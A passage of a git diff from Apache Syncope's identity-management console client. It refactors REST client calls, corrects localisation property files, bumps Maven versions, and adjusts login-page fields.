PolicyRenderer(accountPolicies.getObject())); accountPolicy.setChoices(new ArrayList<>(accountPolicies.getObject().keySet())); ((DropDownChoice) accountPolicy.getField()).setNullValid(true); container.add(accountPolicy); @@ -139,7 +144,7 @@ public ResourceSecurityPanel(final ResourceTO resourceTO) { new ResourceModel("propagationPolicy", "propagationPolicy").getObject(), new PropertyModel<>(resourceTO, "propagationPolicy"), false); - propagationPolicy.setChoiceRenderer(new PolicyRenderer(propagationPolicies)); + propagationPolicy.setChoiceRenderer(new PolicyRenderer(propagationPolicies.getObject())); propagationPolicy.setChoices(new ArrayList<>(propagationPolicies.getObject().keySet())); ((DropDownChoice) propagationPolicy.getField()).setNullValid(true); container.add(propagationPolicy); @@ -153,7 +158,7 @@ public ResourceSecurityPanel(final ResourceTO resourceTO) { new ResourceModel("pullPolicy", "pullPolicy").getObject(), new PropertyModel<>(resourceTO, "pullPolicy"), false); - pullPolicy.setChoiceRenderer(new PolicyRenderer(pullPolicies)); + pullPolicy.setChoiceRenderer(new PolicyRenderer(pullPolicies.getObject())); pullPolicy.setChoices(new ArrayList<>(pullPolicies.getObject().keySet())); ((DropDownChoice) pullPolicy.getField()).setNullValid(true); container.add(pullPolicy); @@ -167,7 +172,7 @@ public ResourceSecurityPanel(final ResourceTO resourceTO) { new ResourceModel("pushPolicy", "pushPolicy").getObject(), new PropertyModel<>(resourceTO, "pushPolicy"), false); - pushPolicy.setChoiceRenderer(new PolicyRenderer(pushPolicies)); + pushPolicy.setChoiceRenderer(new PolicyRenderer(pushPolicies.getObject())); pushPolicy.setChoices(new ArrayList<>(pushPolicies.getObject().keySet())); ((DropDownChoice) pushPolicy.getField()).setNullValid(true); container.add(pushPolicy); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceWizardBuilder.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceWizardBuilder.java index 1fd264204d9..cfc8493e101 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceWizardBuilder.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceWizardBuilder.java @@ -45,10 +45,22 @@ public class ResourceWizardBuilder extends AbstractResourceWizardBuilder check(final AjaxRequestTarget target) { - return ResourceRestClient.check(modelObject); + return resourceRestClient.check(modelObject); } @Override protected void onComponentTag(final ComponentTag tag) { tag.append("class", "scrollable-tab-content", " "); } - }; if (createFlag && resourceDetailsPanel.getConnector() != null) { resourceDetailsPanel.getConnector().getField().add( - new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { - - private static final long serialVersionUID = 4600298808455564695L; - - @Override - protected void onUpdate(final AjaxRequestTarget target) { - resourceTO.setConnector(resourceDetailsPanel.getConnector().getModelObject()); - - LoadableDetachableModel> model = - new LoadableDetachableModel<>() { - - private static final long serialVersionUID = -2965284931860212687L; - - @Override - protected List load() { - List confOverride = - resourceConnConfPanel.getConnProperties(resourceTO); - resourceTO.getConfOverride().clear(); - resourceTO.getConfOverride().addAll(confOverride); - - return new PropertyModel>(modelObject, "confOverride") { - - private static final long serialVersionUID = -7809699384012595307L; - - @Override - public List getObject() { - List res = new ArrayList<>(super.getObject()); - - // re-order properties - Collections.sort(res, (left, right) -> { - if (left == null) { - return -1; - } else { - return left.compareTo(right); - } - }); - - return res; - } - }.getObject(); - } - }; - resourceConnConfPanel.setConfPropertyListView(model, true); - target.add(resourceConnConfPanel.getCheck().setVisible(true).setEnabled(true)); - } - }); + new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { + + private static final long serialVersionUID = 4600298808455564695L; + + @Override + protected void onUpdate(final AjaxRequestTarget target) { + resourceTO.setConnector(resourceDetailsPanel.getConnector().getModelObject()); + + LoadableDetachableModel> model = new LoadableDetachableModel<>() { + + private static final long serialVersionUID = -2965284931860212687L; + + @Override + protected List load() { + List confOverride = + resourceConnConfPanel.getConnProperties(resourceTO); + resourceTO.getConfOverride().clear(); + resourceTO.getConfOverride().addAll(confOverride); + + return new PropertyModel>(modelObject, "confOverride") { + + private static final long serialVersionUID = -7809699384012595307L; + + @Override + public List getObject() { + List res = new ArrayList<>(super.getObject()); + + // re-order properties + Collections.sort(res, (left, right) -> { + if (left == null) { + return -1; + } else { + return left.compareTo(right); + } + }); + + return res; + } + }.getObject(); + } + }; + resourceConnConfPanel.setConfPropertyListView(model, true); + target.add(resourceConnConfPanel.getCheck().setVisible(true).setEnabled(true)); + } + }); } wizardModel.add(resourceDetailsPanel); wizardModel.add(resourceConnConfPanel); if (resourceTO.getConnector() != null) { wizardModel.add(new ResourceConnCapabilitiesPanel( - resourceTO, ConnectorRestClient.read(resourceTO.getConnector()).getCapabilities())); + resourceTO, connectorRestClient.read(resourceTO.getConnector()).getCapabilities())); } else { wizardModel.add(new ResourceConnCapabilitiesPanel(resourceTO, Collections.emptySet())); } @@ -144,9 +154,9 @@ public List getObject() { protected ResourceTO onApplyInternal(final Serializable modelObject) { ResourceTO resourceTO = (ResourceTO) modelObject; if (createFlag) { - resourceTO = ResourceRestClient.create(resourceTO); + resourceTO = resourceRestClient.create(resourceTO); } else { - ResourceRestClient.update(resourceTO); + resourceRestClient.update(resourceTO); } return resourceTO; } diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/topology/TopologyTogglePanel_fr_CA.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/topology/TopologyTogglePanel_fr_CA.properties index fde8651859d..74874f3e28e 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/topology/TopologyTogglePanel_fr_CA.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/topology/TopologyTogglePanel_fr_CA.properties @@ -20,6 +20,7 @@ connector.menu.add=Ajouter un nouveau connecteur connector.menu.remove=Retirer le connecteur connector.menu.edit=Modifier le connecteur connector.menu.history=Historique de configuration + resource.new=Nouvelle ressource resource.edit=Modifier la ressource {0} resource.clone=Cloner la ressource {0} diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/CSVPullWizardBuilder$PullTask_it.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/CSVPullWizardBuilder$PullTask_it.properties index fddd717b91c..70de8695e0a 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/CSVPullWizardBuilder$PullTask_it.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/CSVPullWizardBuilder$PullTask_it.properties @@ -15,7 +15,7 @@ # specific language governing permissions and limitations # under the License. remediation=Bonifiche -matchingRule=Regola di matrching +matchingRule=Regola di matching unmatchingRule=Regola di unmatching provisioningActions=Azioni di pull conflictResolutionAction=Azione di Risoluzione Conflitti diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/CSVPushWizardBuilder$PushTask_it.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/CSVPushWizardBuilder$PushTask_it.properties index c26816b2fd8..e10932ba5b0 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/CSVPushWizardBuilder$PushTask_it.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/CSVPushWizardBuilder$PushTask_it.properties @@ -14,7 +14,7 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -matchingRule=Regola di matrching +matchingRule=Regola di matching unmatchingRule=Regola di unmatching provisioningActions=Azioni di push ignorePaging=Includere tutte le pagine? diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_fr_CA.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_fr_CA.properties index c2d89faeafe..3fd66399971 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_fr_CA.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_fr_CA.properties @@ -15,7 +15,7 @@ # specific language governing permissions and limitations # under the License. mergeLinkedAccounts.reviewAccounts.title=Preview finalized linked accounts -connObjectKeyValue=Connector +connObjectKeyValue=Connector Key resource=Resource key=Key username=Username diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_it.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_it.properties index c2d89faeafe..bd2fcc6be87 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_it.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_it.properties @@ -14,9 +14,9 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -mergeLinkedAccounts.reviewAccounts.title=Preview finalized linked accounts -connObjectKeyValue=Connector -resource=Resource -key=Key +mergeLinkedAccounts.reviewAccounts.title=Anteprima linked account +connObjectKeyValue=Chiave esterna +resource=Risorsa +key=Chiave interna username=Username -suspended=Suspended +suspended=Sospeso diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_ja.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_ja.properties index c2d89faeafe..3fd66399971 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_ja.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_ja.properties @@ -15,7 +15,7 @@ # specific language governing permissions and limitations # under the License. mergeLinkedAccounts.reviewAccounts.title=Preview finalized linked accounts -connObjectKeyValue=Connector +connObjectKeyValue=Connector Key resource=Resource key=Key username=Username diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_pt_BR.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_pt_BR.properties index c2d89faeafe..3fd66399971 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_pt_BR.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_pt_BR.properties @@ -15,7 +15,7 @@ # specific language governing permissions and limitations # under the License. mergeLinkedAccounts.reviewAccounts.title=Preview finalized linked accounts -connObjectKeyValue=Connector +connObjectKeyValue=Connector Key resource=Resource key=Key username=Username diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_ru.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_ru.properties index c2d89faeafe..3fd66399971 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_ru.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel_ru.properties @@ -15,7 +15,7 @@ # specific language governing permissions and limitations # under the License. mergeLinkedAccounts.reviewAccounts.title=Preview finalized linked accounts -connObjectKeyValue=Connector +connObjectKeyValue=Connector Key resource=Resource key=Key username=Username diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.html b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.html index 01ac5124706..0a032723bf9 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.html +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.html @@ -38,6 +38,10 @@ [bundleName]
+
+ [bundleName] +
+
[version]
diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.properties index 23711a979af..65edc08dd03 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.properties @@ -25,3 +25,4 @@ poolMaxIdle=Max idle objects poolMaxWait=Max waiting time (msec) poolMinEvictableIdleTime=Min eviction time (msec) adminRealm=Administration Realm +connectorName=Connector diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_fr_CA.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_fr_CA.properties index 05fd6a980b2..9407d943c45 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_fr_CA.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_fr_CA.properties @@ -16,12 +16,13 @@ # under the License. displayName=Afficher nom location=Emplacement -bundleName=Offre groupée +bundleName=Offre group\u00e9e version=Version -connRequestTimeout=Délai de demande (sec) +connRequestTimeout=D\u00e9lai de demande (sec) poolMaxObjects=Nombre maximum d'objets (inactif+actif) poolMinIdle=Nombre minimum d'objets inactifs poolMaxIdle=Nombre maximal d'objets inactifs poolMaxWait=Temps d'attente max (msec) poolMinEvictableIdleTime=Temps minimum d'expulsion (msec) adminRealm=Domaine de l'administration +connectorName=Connector diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_it.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_it.properties index 0fd9aa775c7..b162f30e211 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_it.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_it.properties @@ -25,3 +25,4 @@ poolMaxIdle=Max oggetti inattivi poolMaxWait=Tempo max attesa poolMinEvictableIdleTime=Tempo min espulsione adminRealm=Realm di amministrazione +connectorName=Connettore diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_ja.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_ja.properties index d12baa207d3..3ce4e9cd206 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_ja.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_ja.properties @@ -25,3 +25,4 @@ poolMaxIdle=\u6700\u5927\u30a2\u30a4\u30c9\u30eb\u30aa\u30d6\u30b8\u30a7\u30af\u poolMaxWait=\u6700\u5927\u5f85\u6a5f\u6642\u9593 (\u30df\u30ea\u79d2) poolMinEvictableIdleTime=\u6700\u5c0f\u6392\u51fa\u6642\u9593 (\u30df\u30ea\u79d2) adminRealm=\u7ba1\u7406\u30ec\u30eb\u30e0 +connectorName=Connector diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_pt_BR.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_pt_BR.properties index db06733e5d9..23c3a09ec63 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_pt_BR.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_pt_BR.properties @@ -25,3 +25,4 @@ poolMaxIdle=Max idle objects poolMaxWait=Max waiting time (msec) poolMinEvictableIdleTime=Min eviction time (msec) adminRealm=Administration Realm +connectorName=Connector diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_ru.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_ru.properties index c5d4b3f6fa9..81db5b8f32c 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_ru.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel_ru.properties @@ -26,3 +26,4 @@ poolMaxIdle=\u041c\u0430\u043a\u0441\u0438\u043c\u0443\u043c \u043e\u0431\u044a\ poolMaxWait=\u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f (\u043c\u0441) poolMinEvictableIdleTime=\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f (\u043c\u0441) adminRealm=Administration Realm +connectorName=Connector diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.html b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.html index 081b5d86d5b..62446d0e998 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.html +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.html @@ -35,10 +35,6 @@ [propagationPriority]
-
- [randomPwdIfNotProvided] -
-
[propagationActions]
diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.properties index 004dd025628..ba05a4f9889 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.properties @@ -18,7 +18,6 @@ name=Resource name connector=Connector enforceMandatoryCondition=Enforce mandatory condition propagationPriority=Propagation priority -randomPwdIfNotProvided=Generate random passwords when missing propagationActions=Propagation Actions provisionSorter=Provision Sorter createTraceLevel=Propagation: create trace level diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_fr_CA.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_fr_CA.properties index 587a5f2a7eb..7ef6ca26872 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_fr_CA.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_fr_CA.properties @@ -18,7 +18,6 @@ name=Nom de la ressource connector=Raccordement enforceMandatoryCondition=Application de la condition obligatoire propagationPriority=Priorit\u00e9 de propagation -randomPwdIfNotProvided=G\u00e9n\u00e9rer des mots de passe al\u00e9atoires si manquants. propagationActions=Actions de propagation provisionSorter=Trieur de provision createTraceLevel=Propagation : cr\u00e9ation d'un niveau de trace diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_it.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_it.properties index 3d69ca0e5fc..654804181c9 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_it.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_it.properties @@ -18,7 +18,6 @@ name=Nome risorsa connector=Connettore enforceMandatoryCondition=Abilita mandatory condition propagationPriority=Priorit\u00e0 in propagazione -randomPwdIfNotProvided=Genera password casuali se mancanti propagationActions=Azioni di Propagazione provisionSorter=Provision Sorter createTraceLevel=Propagazione: tracciamento creazione diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_ja.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_ja.properties index 477b0e8167e..89fca8b99b2 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_ja.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_ja.properties @@ -18,7 +18,6 @@ name=\u30ea\u30bd\u30fc\u30b9\u540d connector=\u30b3\u30cd\u30af\u30bf\u30fc enforceMandatoryCondition=\u5fc5\u9808\u6761\u4ef6\u306b\u5f93\u3046 propagationPriority=\u4f1d\u64ad\u512a\u5148\u5ea6 -randomPwdIfNotProvided=\u898b\u3064\u304b\u3089\u306a\u3044\u5834\u5408\u306f\u30e9\u30f3\u30c0\u30e0\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u751f\u6210 propagationActions=\u4f1d\u64ad\u30a2\u30af\u30b7\u30e7\u30f3 provisionSorter=\u30bd\u30fc\u30bf\u30fc\u306e\u30d7\u30ed\u30d3\u30b8\u30e7\u30cb\u30f3\u30b0 createTraceLevel=\u4f1d\u64ad: \u4f5c\u6210\u30c8\u30ec\u30fc\u30b9\u30ec\u30d9\u30eb diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_pt_BR.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_pt_BR.properties index 79ac8ed1f34..6ef95cfa41d 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_pt_BR.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_pt_BR.properties @@ -18,7 +18,6 @@ name=Nome recurso connector=Conector enforceMandatoryCondition=Aplicar condi\u00e7\u00e3o obrigat\u00f3ria propagationPriority=Prioridade de propaga\u00e7\u00e3o -randomPwdIfNotProvided=Gerar senhas aleat\u00f3rias quando n\u00e3o houver propagationActions=A\u00e7\u00f5es de Propaga\u00e7\u00e3o provisionSorter=Classificador de Provis\u00f5es createTraceLevel=Propagation: create trace level diff --git a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_ru.properties b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_ru.properties index c2ef730c0b1..e967f476119 100644 --- a/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_ru.properties +++ b/client/idm/console/src/main/resources/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel_ru.properties @@ -19,7 +19,6 @@ name=\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u connector=\u041a\u043e\u043d\u043d\u0435\u043a\u0442\u043e\u0440 enforceMandatoryCondition=\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 (\u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e) propagationPriority=\u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 -randomPwdIfNotProvided=\u0421\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c, \u0435\u0441\u043b\u0438 \u043e\u043d \u043d\u0435 \u0437\u0430\u0434\u0430\u043d propagationActions=\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f provisionSorter=\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u043f\u0440\u043e\u0432\u0438\u0437\u0438\u0438 createTraceLevel=\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439: \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e diff --git a/client/idm/lib/pom.xml b/client/idm/lib/pom.xml index 80aaeed323b..1024cf87cac 100644 --- a/client/idm/lib/pom.xml +++ b/client/idm/lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.client syncope-client-idm - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client IdM Lib diff --git a/client/idm/pom.xml b/client/idm/pom.xml index 6f5e8bb6ecd..5565ab112bd 100644 --- a/client/idm/pom.xml +++ b/client/idm/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-client - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client IdM diff --git a/client/idrepo/common-ui/pom.xml b/client/idrepo/common-ui/pom.xml index a2a97f2f1fe..608d5e126bd 100644 --- a/client/idrepo/common-ui/pom.xml +++ b/client/idrepo/common-ui/pom.xml @@ -22,7 +22,7 @@ under the License. org.apache.syncope.client syncope-client-idrepo - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client IdRepo Common UI @@ -40,6 +40,10 @@ under the License. org.springframework.boot spring-boot-actuator + + org.springframework.boot + spring-boot-autoconfigure + org.apache.wicket @@ -100,11 +104,21 @@ under the License. byte-buddy + + org.objenesis + objenesis + + org.apache.pdfbox pdfbox - + + + org.apache.commons + commons-text + + org.apache.syncope.common.keymaster syncope-common-keymaster-client-api diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/BaseLogin.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/BaseLogin.java index bc0f008d6a4..d64e068a6e1 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/BaseLogin.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/BaseLogin.java @@ -27,6 +27,8 @@ import java.util.stream.Collectors; import javax.ws.rs.core.HttpHeaders; import org.apache.commons.lang3.StringUtils; +import org.apache.commons.text.StringEscapeUtils; +import org.apache.syncope.client.ui.commons.panels.BaseSSOLoginFormPanel; import org.apache.syncope.client.ui.commons.panels.NotificationPanel; import org.apache.syncope.common.keymaster.client.api.DomainOps; import org.apache.syncope.common.keymaster.client.api.model.Domain; @@ -46,7 +48,6 @@ import org.apache.wicket.markup.html.form.TextField; import org.apache.wicket.markup.html.list.ListItem; import org.apache.wicket.markup.html.list.ListView; -import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.IModel; import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.Model; @@ -63,26 +64,26 @@ public abstract class BaseLogin extends WebPage { protected static final Logger LOG = LoggerFactory.getLogger(BaseLogin.class); - public static final List SUPPORTED_LOCALES = List.of( - Locale.ENGLISH, Locale.CANADA_FRENCH, Locale.ITALIAN, Locale.JAPANESE, new Locale("pt", "BR"), - new Locale("ru")); - @SpringBean - private DomainOps domainOps; + protected DomainOps domainOps; protected final NotificationPanel notificationPanel; protected final StatelessForm form; - private final TextField usernameField; + protected final TextField usernameField; + + protected final TextField passwordField; + + protected final LocaleDropDown languageSelect; - private final TextField passwordField; + protected final DomainDropDown domainSelect; protected String notificationMessage; protected String notificationLevel; - private final LoadableDetachableModel> domains = new LoadableDetachableModel<>() { + protected final LoadableDetachableModel> domains = new LoadableDetachableModel<>() { private static final long serialVersionUID = 4659376149825914247L; @@ -102,7 +103,7 @@ public BaseLogin(final PageParameters parameters) { notificationPanel = new NotificationPanel(Constants.FEEDBACK); add(notificationPanel); - if (!parameters.get("notificationMessage").isNull()) { + if (!parameters.get(Constants.NOTIFICATION_MSG_PARAM).isNull()) { notificationMessage = parameters.get(Constants.NOTIFICATION_MSG_PARAM).toString(); notificationLevel = parameters.get(Constants.NOTIFICATION_LEVEL_PARAM).isEmpty() ? Notification.SUCCESS @@ -128,7 +129,7 @@ public BaseLogin(final PageParameters parameters) { passwordField.setMarkupId("password"); form.add(passwordField); - LocaleDropDown languageSelect = new LocaleDropDown("language"); + languageSelect = new LocaleDropDown("language"); languageSelect.add(new AjaxFormComponentUpdatingBehavior(Constants.ON_BLUR) { private static final long serialVersionUID = -1107858522700306810L; @@ -148,7 +149,7 @@ protected void onUpdate(final AjaxRequestTarget target) { }); form.add(languageSelect.setOutputMarkupId(true)); - DomainDropDown domainSelect = new DomainDropDown("domain", domains); + domainSelect = new DomainDropDown("domain", domains); domainSelect.add(new AjaxFormComponentUpdatingBehavior(Constants.ON_BLUR) { private static final long serialVersionUID = -1107858522700306810L; @@ -174,21 +175,19 @@ protected void onUpdate(final AjaxRequestTarget target) { @Override protected void onSubmit(final AjaxRequestTarget target) { - authenticate(usernameField.getRawInput(), passwordField.getRawInput(), target); + authenticate(usernameField.getValue(), passwordField.getRawInput(), target); } - }; submitButton.setDefaultFormProcessing(false); form.add(submitButton); form.setDefaultButton(submitButton); - List ssoLoginFormPanels = getSSOLoginFormPanels(); - ListView ssoLogins = new ListView<>("ssoLogins", ssoLoginFormPanels) { + ListView ssoLogins = new ListView<>("ssoLogins", getSSOLoginFormPanels()) { private static final long serialVersionUID = -9180479401817023838L; @Override - protected void populateItem(final ListItem item) { + protected void 